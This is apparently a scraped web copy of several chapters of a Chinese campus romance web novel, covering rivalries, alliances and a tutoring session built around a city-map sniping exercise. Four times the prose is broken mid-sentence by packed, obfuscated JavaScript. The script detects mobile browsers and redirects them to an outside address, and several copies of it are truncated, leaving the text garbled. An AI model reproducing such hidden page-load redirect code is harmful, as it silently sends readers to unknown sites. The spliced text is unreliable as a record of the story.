一个有着极高政治威望的家族,居然在一代之内就衰落甚至绝后。 这真的是冥冥之中安排的“天意”么? 就算真是那个三流作者硬安在他身上的结局,虞听也不接受。 他偏要争,要逆天改命。 “别问为什么,燕少爷。”虞听挪开眼,“我只希望你答应我。” 燕寻盯着虞听。青年偏头看向另一边,只留给他小半张清俊侧颊和白皙侧颈,腰腹薄得仿佛掌中之物。 “成交。” 燕寻说。连他自己都感到他的回答快得不像他自己,他是想到提出合作的那一方,照理该更深思熟虑些,但这次不一样。 很奇怪,就像你在暴雨中看见一只小猫浇成落汤鸡,在思考妈妈是否同意接纳它成为新的家庭成员前,你就已经迫不及待地为它撑开一把伞,把湿漉漉的小东西抱在怀中,让它紧贴你温暖的胸膛。 无关乎其他,那一瞬间你只是不想让他落空,难过。 燕寻抿紧嘴唇。下一瞬,他看见虞听转过身,方才的那一丝失落一扫而空,像是他一个人的错觉。 “多谢。”虞听对他淡淡一笑,“从今往后我们就是盟友了,合作愉快。” 他背对射击馆大门后退几步,拿出手机对燕寻晃了晃,挑起一边眉毛:“既然是盟友,往后可要常保持联系。你懂得哦。” 燕寻面无表情:“我可没一并答应这些附加筹码。” 虞听对他招招手:“不打扰你了,燕少爷,再见!” 他后退一步,再一步,转身推开门,离开射击馆。 吱呀一声,厚重玻璃门合上。 明明清冷如修竹,青年身影却如春风里斑驳的树影,轻快地消失在视野深处。 燕寻不自觉地握紧气/.枪。 良久,他转身咔哒一声把枪端好,瞄准靶心,整个动作两秒之内一气呵成—— 砰! 虞听刚走下台阶没两步,场馆内的声音响起,与此同时他驻足垂眸。 校服长裤口袋紧贴大腿外侧传来细密震动。 阳光照在虞听脸上,浓密睫毛在眼角铺下一片淡淡鸦青。虞听将手机从口袋里拿出来。 屏幕变亮,画面定格在一个短信对话框。 在此之前对话框中只有虞听本人发送的信息,大多是些没营养的废话,虞听自己也知道,所以他发完从来不看,也知道不会有看的必要。 但现在,一条新的信息紧贴着最新的【放学后参加团队活动,会晚归,麻烦按老样子帮我留一份甜点】,从左侧最下方跳出来。 【好。】 虞听低头看着短信,轻笑出声。 “二十一岁的大男孩,”他自言自语,“还真好拿捏。” 场馆内,燕寻缓缓放下枪,望着只有两枚弹孔的圆形靶,目光阴沉如寒潭。 从第一次气/.枪私教课后,他就再没有连续两次脱靶过。 “怎么会这样?”燕寻扪心自问。 可几分钟前某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656388|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的脸却浮现在脑海深处,苍白如霜的脸因为一个微笑而染上明媚颜色。 “专心啊,少爷。” 那张脸言笑晏晏地说。 * 当晚,凌晨十二点零一分。 校园论坛【暗区】。 某个帖子浮浮沉沉,终于还是顶到了最高位。 帖子主题:【有谁知道三年级Y学长的体育选修科目?求更衣室照片,高价悬赏!】 跟帖内容五花八门。 【一群废物,就没一个能搞到Y学长的课程申请表?】 【ls有能耐你去溜进教务室试试看?】 【话说F4的课程有没有人知道?我可不想和某位撞……】 【天机不可泄露。。】 【听我体育部的哥们说,尤里乌斯还是篮球不变】 【这有什么可说的?他是有史以来第一个二年级的校队队长,当然要选篮球了,闭着眼睛拿满分!篮球课的老师看见他就像看见金疙瘩hhhhh】 【上次一年级某个特招生在马术课上失足坠马,不就是索恩家的这位公子屈尊降贵去医院照料看护的吗?给其他特招生都羡慕坏了……我还以为索恩家大少爷会护花心切,改选马术课呢。】 【呃。。尤里乌斯可没自降身价到这种程度吧】 【听说那次之后学校里多了很多他的迷弟,都说他是温柔绅士的白马王子……】 【难道不是吗?看我ID!】 【ls这位‘想当索恩少爷的狗’麻烦不要在这儿丢人现眼,暗区不是你发/情的地方】 【狗撒尿还知道不能滋错地盘呢!】 【对了对了,听说某学神好像选了高尔夫……是个很意料之内的优等生选项呢。】 【都别歪楼了!我要问的是Y学长,Y学长啊喂!】 【一人血书求Y学长选修游泳课……希望有幸可以一睹学长诱人的身子,为此本旱鸭子宁可喝光泳池的水。】 【好小子,又是偷看又是喝学长游过的泳池水,连吃带拿啊你?】 【我要雇个黑客黑进咱们的教学系统,把Y学长的体育选修改成男子体操……这样就能看见暴汗的Y学长那被汗水浸湿的体操服紧贴的胸口和腰线,那令人浮想联翩的身体线条……!!】 【我说,Y学长从小体弱多病,身子那么金贵,你不怕把男神摔散架?】 【还是游泳课香!要看就看个清清楚楚!紧身泳裤yyds!】 【No,没品味!半遮半露,引人遐想才是最妙的——】 很突兀的,一条极其冷静的回帖弹出来,十分格格不入。 【所以,黑进教学系统就可以更改课程吗?】 【ls是个勇士,如果不想被老妖婆魔音贯耳的话请自便~老妖婆可是在校董面前都没弯下过腰杆子的狠角色,当年我哥读赛罗米尔时被她叫过家长,那是我这辈子第一次看见我爸这个执行总裁在别的女人面前憋得面红耳赤。】 【咦,这么说的话我好像知道ls是谁了诶】 【喂扒马甲的滚啊啊啊啊!】 话题第三次被带歪,回帖越来越多,无人在意的角落,那个淹没在信息洪流的层主头像悄无声息地切换为灰色的离线状态。 11.第 11 章 “学长,在赛罗米尔学院里,虞听学长……是不是对大家很重要?” 学院西南角,桦树林。 尤里乌斯咔嚓一脚踏在枯叶上,他转过头,看着抱着参考书走在自己身边的陆月章。 “为什么这么说。”尤里乌斯笑容一如既往温暖和煦。 天气渐凉,从前喜欢在桦树林中间的草坪空地聚坐聊天的学生越发少了,漫步林中,除了偶尔的鸟鸣与秋蝉,只剩下午后阳光寂静。 陆月章掂了掂怀中那本书。正是前段时间在图书馆被人刁难时他最终得以保住的那本大部头。 “早就听风纪部的人说,我和虞学长长相有一点相似。”陆月章边走边说,“或许正是因为像,我才会在入校第一天就得罪了谁都不敢惹的风纪部部长。” 尤里乌斯语气宽慰:“希莱尔学长即便在我们这群同类人里也是被娇惯坏了的那一类。但你别想得太多。” “不是想得太多,是想得太少太简单。”陆月章声音里多了一丝鼻音,“见到虞学长之后我才发现,我没人家好看,没人家有气质,或许希莱尔学长一方面讨厌我这张脸,另一方面又厌恶我玷污了‘真品’……” “没有的事,”尤里乌斯否认道,“希莱尔他记恨当初被虞听学长扣分出丑,你只是被连累而已。月章,别这么自轻自贱。” 二人沿着木栈道走上草坪。草叶凝结着露水,踩上去有种濡湿的沙沙感。 陆月章听起来强忍着委屈,强颜欢笑的模样换谁来都会被这般强撑的坚强所打动: “林抚学长不也是吗?因为我和虞学长相像所以辅导我,可也因为我像虞学长却没他那么聪明,他才会嫌我蠢。最近他辅导我的时候越来越没有耐心,我好害怕他再也不……” 尤里乌斯抬手拂去一片飘在陆月章肩头的落叶:“他是学神,思维本就和常人不一样。就算真出了这种事,大不了我来辅导你。” 陆月章苦笑:“谢谢你,尤里乌斯学长,你人真好。” 尤里乌斯的唇角不可自抑地上翘,但很快恢复如常:“别客气。” “那你呢学长?”陆月章忽然侧过头,“我刚来学校的时候什么都不懂,一切都仰赖你……是不是仅仅因为我和虞学长有那么几分类似的缘故——” 他忽然不说话了。 尤里乌斯的手悬在陆月章肩头上方不到一英寸,戛然而止。 陆月章笑容迅速抽干了,停下脚步。 尤里乌斯也停下来。 茂密林荫间穿过低沉的风啸,一团云被吹过,遮住日头,阴霾令他面对的人神色模糊不清。 陆月章嗫嚅:“学长,我说话总是不过脑子,刚才我不该……” 尤里乌斯那剔透湛蓝的瞳孔微微转动,深望着陆月章戴着的那顶尺寸有些不合适的宽松贝雷帽。 他声音仿佛微微锈住:“蓄了长发?” 陆月章扶住帽檐。这个下意识遮掩的动作说明了一切。 尤里乌斯的笑容还在,只是味道越来越耐人寻味。 “看来一定是有人警告过你把头发剪短,但你执意不做。”尤里乌斯说,“陆学弟,如果你真的介意自己是谁的替代品,就该彻底划清界限。现在连你也相信我是为了谁才来帮助你的,赛罗米尔的其他人呢,他们会不会也早就已经这么想了?” 树林无风,可陆月章齿关却冷得打颤:“……我错了,学长。” 尤里乌斯轻轻地长吸一口气,脸上浮现出情绪平复后那温柔绅士的笑容。 “想和我亲近的人太多了,从前的虞学长也不例外,”尤里乌斯说,“我们只是最近没见面而已……就算和任何人疏远,他也绝不会和他的尤尔学弟疏远。” 他转身要走,陆月章立刻拉住他袖子:“学长!” 尤里乌斯停下来,却看不见他的表情。陆月章哀求:“原谅我的失言,求你了学长……” 尤里乌斯嘴角微微抽动。他从校服内侧口袋里拿出一张请柬,侧过身掰开陆月章的手,把那盖着家族金漆印的请柬放进他手中。 青年那俊朗的眉眼间闪过一丝不为人察觉的愉悦。 “当然。”他的声音被风穿桦树林的沙沙声湮没,“这是我成人礼的宴会请柬,收好。” 陆月章怔愣地点点头,忽然看见尤里乌斯又笑了笑,目光仿佛落在他脸上,却又像是透过他看着某个地方。 他打了个冷颤,听到尤里乌斯低声笑起来。 “你很久没求我了,”尤里乌斯呢喃道,“别人都喜欢你清清冷冷的样子,但我不一样,我更欣赏你臣服于我的眼泪……” 他抬起手,失礼而诡异地,抚上陆月章咬紧牙关的下颌线。 “成人礼那天你一定会来的,”尤里乌斯柔声问,“对吗,亲爱的?” * 纷飞的简历堆满学生会办公室的长桌,希莱尔·欧文从垃圾堆里抬起头,杀意腾腾: “到学生会补选最后一天了,你们这群蠢蛋还没整理完?” 满屋子各个部门的学生哑巴一样不敢吱声,把各自面前的一摞简历翻得飞快。 希莱尔两条长腿交叠,双脚搭在桌上,把手枕在头后往椅背一靠,对旁边不紧不慢翻阅简历的林抚唏嘘:“没办法,老妖婆发话了必须按时完成初筛,要不然这个月月底的二轮面试一定搞不完。谢了啊抚哥。” 林抚把一张简历丢进脚边的纸箱:“还不是因为大家看你在学生会作威作福,个个心向往之,报名的人才越来越多。早告诉你别太张扬。” “老子没进风纪部的时候也这么潇洒,怎么了?”希莱尔指了底下人一圈,“虞听那家伙在的时候我不也任他扣他那破分去,你们说是不是?” 其他学生一边忙活一边虚弱地应和:“是,风纪委员大人……” 开玩笑,“作威作福”这种话也就林抚这好兄弟敢说,其他人谁敢这么讲啊?难不成活腻了,渴望试试被少爷大卸八块的感觉? 镜片后林抚的眸色更深,他瞥了希莱尔一眼,抽出一张简历递给他:“顺便恭喜你要成为副会长了。” 希莱尔美滋滋地接过:“我瞅瞅……嗐,八九不离十吧。” 林抚:“听说会长是四年级的燕寻。他马上要毕业,估计只是挂个名头,这下学生会你说了算了。” 希莱尔哗啦一下把简历一扬,丢进淘汰箱。 “什么东西,简直入不了眼。”他恶狠狠地说。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664390|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林抚睨他:“指桑骂槐,别拿别人的简历泄气吧。” 希莱尔撇嘴,对其余人赶苍蝇似的挥手:“找个空教室筛去,吵死了。” 剩下的人立刻抱着一摞摞简历离开学生会办公室。 林抚轻轻一蹬,座椅转过九十度面向郁郁寡欢的希莱尔。 “我记得你母亲拿下影后的那部电影还是燕氏投资的,你和燕学长关系不说还不错,至少是个点头之交……最起码不曾交恶。我没说错吧?”林抚问。 希莱尔咬牙切齿:“现在不一样了。瞧他那个正人君子、道貌岸然的样子,和虞听他们一样,最叫人不爽。” 他忽然被鱼刺扎了喉咙似的弹坐起来,急吼吼地纠正自己:“不,和虞听才不是一类人!这辈子他们都不会是一路——” 办公室虚掩的门突然被推开。希莱尔啧了一声:“不是说了滚去别的教室干活——” 话音倏地止住。 虞听拿着一个档案袋站在门口。希莱尔脸上表情一阵变幻,终于压下火咧开嘴角笑起来。 “看看是谁来了。”希莱尔把腿放下,居高临下地道,“尊敬的前任风纪部长,口是心非的虞听同学。你这不是还惦记着自己原来的宝座么?” 虞听淡淡望了他一眼,没作声。一旁的林抚垂着眼帘继续整理简历,只是这副充耳不闻、尽心尽力为兄弟帮忙的样子多少有些说不出的刻意。 虞听走向长桌。希莱尔打量了一下来者没什么血色的脸: “我可不是个公报私仇的人,虞听同学,你是老师们公认品学兼优的‘好孩子’,我没有理由拒绝你回到学生会。不过你也知道,今天是补选截止日期的最后一天,隔壁还有至少一百份简历等着我过目,如果不加塞的话,我不保证能不能在结束之前看到你的那份。” 一边享受着嘲弄别人的快.感,希莱尔一边看向虞听手里的档案袋。 他伸出手:“风纪部你是不可能回来了,来吧,让我们看看你究竟适合被分配到哪个——” 虞听抬起手,牛皮纸档案袋与希莱尔修长有力的手指擦过。 他把档案袋递到低着头的林抚面前。 “喏。”虞听抖了抖档案袋,“我考虑好了,林抚同学。这是我竞赛的组队申请表,你是队长,这就交给你保管。” 林抚翻简历的手猝然刹住。 他猛地抬起头,虞听对他挤了挤眼睛,将档案袋放在他大腿上这一叠简历的最上方。 “碰头的时间地点你来定,给我发邮件就好。”他转身背对林抚摆摆手,“回见。” 整个过程不到半分钟,虞听再次迈过门槛,离开办公室。 办公室静得连针掉在地上都能听见。 林抚缓缓转头。希莱尔面色由红转白,死死盯着门口,察觉到林抚的目光,也侧过头一眨不眨地盯着他。 从进办公室到离开,虞听始终没给过希莱尔哪怕一个眼神,说过一字半句话。 赤.裸裸的无视,让希莱尔的挑衅变成笑柄似的自说自话。 “你们……” 希莱尔墨绿色的瞳孔如盯紧猎物的狼,散发出幽幽戾色。 他嘶声问:“你们什么时候变得这么要好了?” 12.第 12 章 办公室的空气无形中冷了好几度。 林抚握着简历的手不自觉收紧,平整纸面扭曲出深刻皱褶。 他腾出一只手推了推镜框:“这学年的竞赛我必须确保拿到第一名。第一名的作品会被送去参加全国大赛,这个名头对于能不能被K大录取很关键。” 希莱尔狐疑地看着他:“只是这样?” 林抚淡淡的:“不然呢?” 这次空气中甚至隐隐多出一丝硝烟味道。 漫长的几秒过后。 希莱尔靠回转椅里,虽然脸色依旧阴沉,却不再咄咄逼人地怒视自己的朋友。 “搞不懂你们这些循规蹈矩的好学生。”他嘟囔道,“为了区区一个狗屁比赛居然要和虞听组队……” 青年一副有火撒不出来的样子,嘴里骂骂咧咧地说着关于虞听不痛不痒的坏话。 林抚若无其事地低下头,抽出一张简历盖在牛皮纸档案袋上面。 “说真的抚哥,”希莱尔慢慢从刚才的冲击中缓过来,脚下一蹬,椅子滑到林抚身边,“林家快把你培养成书呆子乖乖男了,在赛罗米尔还剩下一年多,你连一次处罚扣分记录都没有,不觉得遗憾吗?” 林抚失语:“……这也算遗憾?” “喂,这可是校园生活啊。没有处分的青春不是完整的青春!” “这不是青春,是你傻得冒泡的青春期。”林抚丢掉一张简历,“我以为人过了十八岁就会自动抹除掉这种念想。” 希莱尔哼笑:“少装大人说教了,林同学。等着看吧,越是你们这种三好生,将来一旦想叛逆,越是能把天都捅破。你们最擅长闷声干大事,那种惊天动地的大坏事。” “你干的‘小坏事’倒是罄竹难书。”林抚不咸不淡地说,“除了当当渣男、谈场脚踏多条船的恋爱,我看没有哪条校规没被你打破过。” “我就没谈过恋——咱们学校都是男生,我谈什么恋爱?”希莱尔嫌弃道。 “我倒不知道你是个保守派。你嫌恶心?”林抚斜他一眼,“同性婚姻合法几十年了,尤其是咱们这种家庭,男人和男人结婚、订婚的不是比比皆是。” 希莱尔眼神一黯。 “那种场面想想就让人觉得恶心,和我是不是反同保守派无关。”他没好气地说。 林抚拿起档案袋,站起身:“帮你筛完了,剩下的你自己慢慢看。是不是反同,你放在自己身上想象一下不就知道了,多说无用。” 希莱尔一个寒颤:“呃,这么说来……” 可脑海中的场景随着林抚的话被施了某种魔法般扭曲变换,幻想中的自己一身笔挺西装,意气风发,在礼堂下亲友宾客艳羡的眼神和神父的祝祷声中转过身,而那个温柔微笑着看向自己的人居然是—— 希莱尔慌忙抬眸:“等下,我还想问——” 咔哒一声,门被带上,办公室只剩下希莱尔一人。 希莱尔独自呆坐,良久方才喃喃启齿。 他终于意识到刚刚自己为何盛怒,以及被盛怒掩盖在真心之下的那个来不及道出口的问题。 “为什么他不对我笑,却肯对你和颜悦色?”希莱尔自言自语道。 * 咔的一声,粉笔掰断成两截。 林抚转身在已经列满算式的黑板上写下一行新的:“继续运行程序吧。” 活动室讲台下,虞听坐在布艺沙发里,裹着一件米色的男士披风,面前矮桌上的电脑屏幕荧光照亮了他冷白的脸。 他倾身按下回车键:“还需要我做些什么?” “帮我盯着屏幕就好。”林抚拍拍灰,看着公正遒劲的粉笔字,“我们八点前结束,不耽误你休息。” 手机震动起来,虞听没管,从边几上端起一杯热奶茶。 雾气氤氲,濡湿青年长而翘的睫毛。 这是递交组队申请后的第五天,他们第一次为竞赛项目碰面。 二人毫无疑问选择了更硬核的理工科赛道,主体程序由林抚设计,而现在距离放学已经过去了一个小时,除了看着电脑和去倒水关窗户,压根没有一件事由虞听亲力亲为。 虞听手肘侧搭在扶手上,银匙缓缓搅着杯中奶茶。他的目光饶有兴致地扫视林抚的背影。 林抚无疑是个能够经受三百六十度审视的好学生。成熟沉稳的性格、无可挑剔的成绩、空白的处罚记录单,甚至这挺拔背后熨烫得没有一丝褶皱的制服外套,都足以证明他的好口碑。 手机再次震动。虞听收回目光,拿出手机查看。 他忽然怔住。 【今晚晚归。】 简短的四个字。可发信人却大有来头。 他接着往下翻,又看见一条: 【另,令尊拿来一份伊斯特芬内部的学年测试题,或许可以提供参考。有空来我主卧书房探讨。】 虞听一手握着杯柄,另一只手灵活地噼里啪啦打字: 【收到。今天我也晚归。】 【太阳打西边出来了?燕少爷心情真好。】 【这东西我父亲给你你自己研究就是了,拉上我干嘛?】 他按下发送,小口啜饮奶茶,手心很快再次震动,虞听低头一看。 【是盟友就应该共进退。别言而无信。】 不等虞听心里措辞骂人话,又一条紧跟着跳出来: 【西厨给你留了小蛋糕和马卡龙。如果不来我书房,往后甜点是否按时供应恕不保证。】 靠,挟天子以令诸侯? 虞听没忍住,一口奶茶呛进喉咙,他匆忙放下杯子,弯腰剧烈咳嗽。 讲台上一个身影顿了顿,三步并作两步迅速跳下来,在单人沙发边蹲下:“怎么了?” 虞听低头捂着嘴,一边咳嗽一边从校服口袋掏出手帕。林抚一只手不自觉搭上他大腿:“今天就到这里吧,活动室太冷了,你会着凉的。实验结果我记录下来之后邮件发你就是。” 虞听说不出话来,这一口呛得着实太狼狈,他双眼泛起生理性的潮湿,眼皮激出一层薄红,另一只手下意识攥紧手帕,忽然一股力量将手帕抽出去,紧接着,林抚的手将虞听脸侧过长的鬓发掖到耳后。 “我帮你。” 林抚听起来不容拒绝,语气像是在做一场不放心别人插手的科学实验。 他掰开虞听用力到泛白的手指,二人的手短暂地十指相扣又分开,随后林抚用手帕细细擦拭虞听的唇角和下巴,虞听下意识抗拒地推他:“不用——” 话没说完他再次咳嗽,气息愈发嘶哑。林抚另一只手从披风下面探进去,揽住虞听的后背上下轻抚顺气。 “或许我不该拉上你参加竞赛,这对你身体负担太大了。”林抚擦完,把手帕叠好放回虞听手里。 虞听再次推开他的胳膊,侧倒在另一边扶手上,裹住披风垂头喘息,露出一截纤细优长的后颈。 林抚看着虞听,忽然说:“小时候我家里的母猫生了崽,我见过保姆伺候吐奶的小猫。她们也是拿着婴儿湿巾,洗脸一样擦拭猫咪的……” 虞听伏在扶手上,肩膀不住起伏:“闭嘴。” 林抚愣住,推了下镜片:“抱歉,失言。” 虞听撑着扶手坐直身体。二人对视,林抚向来波澜不惊的那张脸随着短短几秒钟的时间推移一点点僵硬。 “或许真的如你所说,我们不该组队,”虞听轻轻地,沙哑地说,“但不是我身体的原因。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668392|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他顿了顿:“是你,林同学。你不信任我。” 林抚顿时意外:“我没……” “你当然以为自己在照顾我。没错,我需要竞赛的学分,而你想要简历上多一条漂亮的奖项;可我与你组队不是想走捷径,更不想像个监控室保安一样帮你盯着程序有没有出现异常。我是身子弱,但我不是需要特殊关照的废物。” 这番话使得林抚身子微微一震,张口结舌。虞听阖了阖眼,把林抚搭在他腿上那只手背青筋暴起的手拂开,站起身。 “我就不打扰你了,林同学。”虞听说。 他转身向门口走去,林抚忙站起来:“虞……” 忽然一个黑影闪过活动室门口:“虞学长?” 虞听驻足,看见走进活动室的陆月章,视线集中在他胳膊上佩戴的袖标。 “晚上好。没事的话我先走了。”他说完抬脚就要走。 然而陆月章抬起手拦住他的去路,虞听皱眉侧目,陆月章动作果断,表情却很是不好意思。 “抱歉啊虞学长,”陆月章把臂弯里夹着的扣分簿拿出来,“我刚加入学生会风纪部,今天轮到我放学巡查。那个,那个……” 他露出一个人畜无害的笑:“风纪部老师交待过,最近这一个月活动室没有社团或学生会申请是不可以给个人使用的。所以,可能需要登记一下学长的信息。” 林抚上前:“你要给虞听扣分?” 陆月章惊讶:“林学长!刚刚我没看见,你怎么也在?” 林抚道:“你要扣分就我们两个一起扣。” “借记系统上申请人只有虞学长一个人的的名字……” “是我让他借的——” “用不着。”虞听盯着陆月章,“扣分簿和笔给我。” 陆月章一脸为难,但还是乖乖递过东西。虞听刷刷签了字,动作潇洒得仿佛在签支票。 他把东西还给陆月章:“你说你在风纪部?” “是,虞学长。” 虞听点点头:“蛮有意思的。” 陆月章:“有意思?” 虞听面色煞白,却微笑不语,瞳孔愈发漆黑。 当然有意思。原书中陆月章的确会进入学生会没错,但不是风纪部而是学业部。主角攻希莱尔对陆月章百般阻挠,但还是改变不了陆月章入选的结局,而在此过程中他逐渐认识到主角受的单纯善良,这也正是希莱尔对其改观,慢慢生出情愫的开始。 但现在陆月章的部门变了,还在上任第一天就给虞听扣了分。 显而易见的借刀杀人。 ——只不过并不算高明。 “好好干。”虞听拍拍陆月章的肩,“在那位风纪委员大人手下可不是件容易的事。” 陆月章还想说什么,虞听已经拎起包走出教室。 只剩下他与林抚两个,陆月章对林抚热情地笑笑:“林学长,好几天没遇见了……说起来,学长什么时候方便下一次的补习?我时间都可以,随便学长来定。” 林抚脸上的情绪仿佛被抽干了,沉沉地望着陆月章。 “没有下一次,”林抚道,“我会让学业部安排一位新的成绩优异的同学为你单独辅导功课。” 陆月章狠狠一怔:“什……为什么?” 林抚看向走廊。虞听的身影早就消失不见。 “如你所见,这学期我有更重要的事要做。”他说,“就像你加入风纪部就必须一视同仁地给所有违规学生扣分一样,我现在也有必须要做的事,就是把我的竞赛搭档追回来。再见,陆学弟。” 他不再看陆月章那张听到一视同仁四个字后微微变色的脸,迈开长腿快步走出空荡的活动室。 13.第 13 章 转天晚上,燕氏庄园。 主卧书房门推开,虞听披着件外套走进书房。 书房的灯还亮着。一整面墙摆满了各类书籍,虞听扫了一眼书籍,密密麻麻的大多和军事、科技相关。 “没想到你今晚就来了。”书桌后传来一个低沉的男声。 虞听道:“下了通牒令,我哪敢不来啊,燕少爷。” 一张城市的三维地图在宽大桌面上平整摊开,桌角堆着厚厚的参考资料。燕寻站在书桌后,头也没抬,对他招招手。 “来看一下这个。”燕寻说。 虞听撇撇嘴,走上前。 燕寻修长的手指点着地图上一处标记过的红点:“今年伊斯特芬低年级生的校内测验题是城市战,算是几十年前巷战的变种,要求是找到图上从此出发最佳的狙击点和最佳撤退路线。” “知道了,然后呢?”虞听凑过来,歪着脑袋看图。 燕寻手指没动,眼神微微偏向自己身旁那颗毛茸茸的头。 他道:“我想听听你的意见。” “果然是大少爷,‘我来考考你’从你嘴里说出来都显得清新脱俗。” “不一样,这题的正确答案我自己也不知道。”燕寻指尖点了点,“不过既然你介意,我可以先说我的看法,换你来点评。” 虞听一怔:“我倒也没介意……” 话音未落,燕寻手指顺着地图上的街道,移到一栋高楼天台。 “我认为这里是最佳狙击点。”燕寻不疾不徐道,“这里拥有百米内的最佳视野,另外这是一栋商业写字楼,狙击任务成功后也可以混迹在人群中,最短时间离开大楼。经过测算,从这里乘车离开的用时同样是最短的。” 他简单在地图上比划两下辅助说明,随后直起身。 “你怎么看?”燕寻问。 虞听眯起眼睛,他拢了拢肩上披着的外套,俯身拿过一支铅笔。 “只从现有的条件来看,如果我是考官的话,会认为这是一份合格的答案。” 燕寻脸上看不出被肯定的喜悦,他的眉眼浸在阴影里,表情模糊。 “但只是合格,不能算是最优秀。”虞听突然说。 暗色中的眉目无法自制地微微挑动。 燕寻转头看虞听:“是吗?” 虞听没看他,一手撑住书桌,用铅笔在燕寻方才选定的高楼对面画了个圈。 “看见对面这栋写字楼了吗?”虞听说,“它遮挡不了你的视线没错,可从行道树种来看,这里是一座高纬度城市,图上时间的日照会被建筑的玻璃幕墙反射——也就是说,你的狙击手极有可能会被刺目的阳光晃得睁不开眼。” “还有题目里说的最佳撤离路线,所谓‘最佳’绝不只是考虑到用时最短这一方面。想要撤离必然要乘坐电梯或者使用钩索速降,两种方法都存在隐患;至于离开大楼之后乘车离开倒是常规思路,但主干道会不会因为狙击目标死亡造成恐慌,产生拥堵?” 勾勾画画完,虞听抬起笔尖:“如果这就是未来你的入学考试题目,恐怕这个答案恐怕不能给考官留下深刻的印象。燕少爷,我说话直,请你见谅。” 房间里一阵安静。 燕寻站在他身侧,垂眼看向虞听握着铅笔的手。那只手单薄、白皙,骨骼匀停,用力写下一行行流畅字迹时手背筋骨微微突起,清瘦如竹。 他默了默:“那么你认为应该选择哪处?” 仿佛早就料到燕寻会问出这句话,虞听微微一笑,毫不犹豫地在隔一片街区的一栋废弃大楼画下一个圈。 燕寻看了一会儿,眉宇渐渐舒展。 “原来如此。”他颔首,“这烂尾楼只剩下一个空架子,狙击结束之后无论是走楼梯还是速降都畅通无阻,四周的环境和道路也更安全保险……” 他思忖片刻,无声呵笑。 “令尊还想找人来辅导我,看来没这个必要。”燕寻声音里的情绪令人难以捉摸,“不过虞听,我很好奇,你是怎么能分析得这么透彻的?” 虞听撂下笔的手一顿,睫羽轻微扑簌:“从小在父亲身边耳濡目染,唔……” 外套随着他的动作滑落下来,虞听来不及反应,一只手从背后抓住那水一样软滑的布料,替他重新披在肩头。 掌心的温度另虞听不由自主一个哆嗦。 “以后少不了多请教你了,”燕寻替他理了理衣领,“小虞老师。” 虞听一掀眼皮,燕寻正看着他,或许是他的错觉,虞听竟恍然觉得灯光柔和了燕寻的面部轮廓,让他多了几分似有似无的笑意。 他忙后退一步,拢住衣襟:“不敢当。别克扣我的蛋糕就行。” 燕寻失笑:“逗你玩的。” 虞听:“拿我寻开心就这么好玩?” 燕寻没正面回答这个问题,挑眉打量他:“最近身体怎么样?你短信里天天都说晚归,忙得气色也不见好。” 虞听垂眸:“所以,没别的事的话,我就先回房了。” 燕寻没说话。虞听转身离开,刚走到门口,听见背后燕寻问道: “索恩家的那个二年级生,邀请你去参加他的成人礼晚宴?” 虞听搭在黄铜门把上的手猝然顿住。 他回头:“你怎么知道?” 燕寻盯着他,那双眼眸浓黑得仿佛要沉入黑影里。 虞听又问:“他邀请了你?……你会去吗?” 方才燕寻那些一闪而过的温和消失了,他坐下来,双手十指交叠抵在下颌,又回到了平日那个凌厉深沉的燕氏继承人的模样。 “我没时间。”燕寻道,“这种无聊的社交活动,我建议你也尽量少参加。” 虞听说:“我知道了。” 他推门离开。 “……莫名其妙。”虞听边走边极小声地嘀咕了一句。 他敏锐地感觉到,最后分别时燕寻有些微妙地低气压。 但这虞听可管不着。燕大少爷生不生气也不关他的事。 ——只是燕寻好好的,又为什么会生气? * 从那之后,燕寻隔三差五就会找虞听来探讨伊斯特芬的测验内容,每次用时都不长,而燕寻也不愧是燕氏的继承人,进步神速,很快,像第一次那种不成熟的作答再也没有出现过,许多时候虞听这位名不符实的“小虞老师”只需要在边上听着燕寻分析,给不出太多更高明的答案。 但即便如此,二人还是渐渐养成了隔一天一次书房辅导的习惯。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679043|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 如此两周过去。 “马术课?” 看着手里的课程表,虞听抬起头:“我当初申请的是击剑课,怎么变成了马术?” 